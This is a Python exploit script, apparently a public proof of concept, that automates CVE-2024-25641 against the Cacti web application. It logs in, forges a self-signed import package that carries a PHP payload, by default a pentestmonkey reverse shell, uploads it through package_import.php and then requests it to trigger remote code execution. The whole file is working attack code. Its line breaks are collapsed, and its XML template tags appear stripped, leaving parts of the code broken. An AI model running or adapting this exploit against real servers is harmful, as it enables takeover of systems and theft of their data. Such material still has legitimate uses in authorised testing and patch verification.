#!/bin/python3 import os, requests, base64, gzip from bs4 import BeautifulSoup from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding, rsa from cryptography.hazmat.primitives import serialization import argparse import random, string print('''\nCreated by: 5ma1l \tAutomate the process of exploiting the CVE-2024-25641\n\n''') # Args parser = argparse.ArgumentParser( epilog='''Examples: ./exploit.py http://localhost/cacti admin password ./exploit.py -p './php/rev.php' http://localhost/cacti admin password''', formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument('URL',type=str,help='The target Cacti URL') parser.add_argument('username',type=str,help='Login username') parser.add_argument('password',type=str,help='Login password') parser.add_argument('-p','--payload',type=str,help='Path to the PHP payload file (default: `./php/monkey.php` is a reverse shell created by pentestmonkey, Don\'t forget to change the ip & port)',default='./php/monkey.php') args = parser.parse_args() URL = args.URL username = args.username password = args.password filename = args.payload # Login print('[*] Login attempts...') login_path = '/index.php' s = requests.Session() r = s.get(URL) soup = BeautifulSoup(r.text, 'html.parser') html_parser = soup.find('input',{'name':'__csrf_magic'}) csrf = html_parser.get('value') data = { '__csrf_magic': csrf, 'action': 'login', 'login_username': username, 'login_password': password, 'remember_me': 'on' } r = s.post(URL + login_path,data=data) if 'Logged in' not in r.text: print('[Failed]') exit(1) print('[SUCCESS]') # Prepare the malicious gzip dest_filename = ''.join(random.choices(string.ascii_lowercase, k=16)) + '.php' print("[*] Creating the gzip...") xmldata = """ resource/{} {} {} {} """ with open(filename) as data: filedata = data.read() keypair = rsa.generate_private_key( public_exponent=65537, key_size=2048, ) public_key = keypair.public_key().public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) filesignature = keypair.sign( filedata.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256() ) data = xmldata.format( dest_filename, base64.b64encode(filedata.encode('utf-8')).decode('utf-8'), base64.b64encode(filesignature).decode('utf-8'), base64.b64encode(public_key).decode('utf-8') ) signature = keypair.sign( data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256() ) final_data = data.replace("", f"{base64.b64encode(signature).decode('utf-8')}") final_data = final_data.encode('utf-8') gz_filename = f'{dest_filename}.gz' with open(gz_filename,'wb') as poc: poc.write(gzip.compress(final_data)) print('[SUCCESS]') print('GZIP path is',os.getcwd() + '/' + gz_filename) # Exploit print('[*] Sending payload...') ## First Post => upload import_post1 = '/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on' files = {'import_file': open(gz_filename,'rb')} data = { '__csrf_magic': csrf, 'trust_signer': 'on', 'save_component_import': 1, 'action': 'save' } r = s.post(URL + import_post1, data=data, files=files) ## Second Post => confirm the upload import_post2 = '/package_import.php?header=false' soup = BeautifulSoup(r.text,'html.parser') html_parser = soup.find('input',{'title':f'/var/www/html/cacti/resource/{dest_filename}'}) file_id = html_parser.get('id') data = { '__csrf_magic': csrf, 'trust_signer':'on', 'data_source_profile':1, 'remove_orphans':'on', 'replace_svalues':'on', file_id: 'on', 'save_component_import':1, 'preview_only': '', 'action':'save', } r = s.post(URL + import_post2, data=data) print('[SUCCESS]') file_path = f'/resource/{dest_filename}' print('You will find the payload in',URL + file_path) ## Payload Running... option = input('Do you wanna start the payload ?[Y/n]') if option.lower() == 'y': print('Payload is running...') r = s.get(URL + file_path)